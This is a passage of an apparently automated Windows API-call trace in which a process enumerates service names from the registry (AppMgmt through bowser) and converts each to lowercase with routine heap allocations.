lpUsedDefaultChar=0x0) returned 7 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.116] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.116] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.117] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.117] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.117] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.117] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0173.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.118] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.118] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.118] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0173.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.118] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.119] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.119] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.119] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0173.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.120] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.120] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.120] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.120] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0173.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.121] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.121] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.121] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0173.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.121] RegEnumKeyW (in: 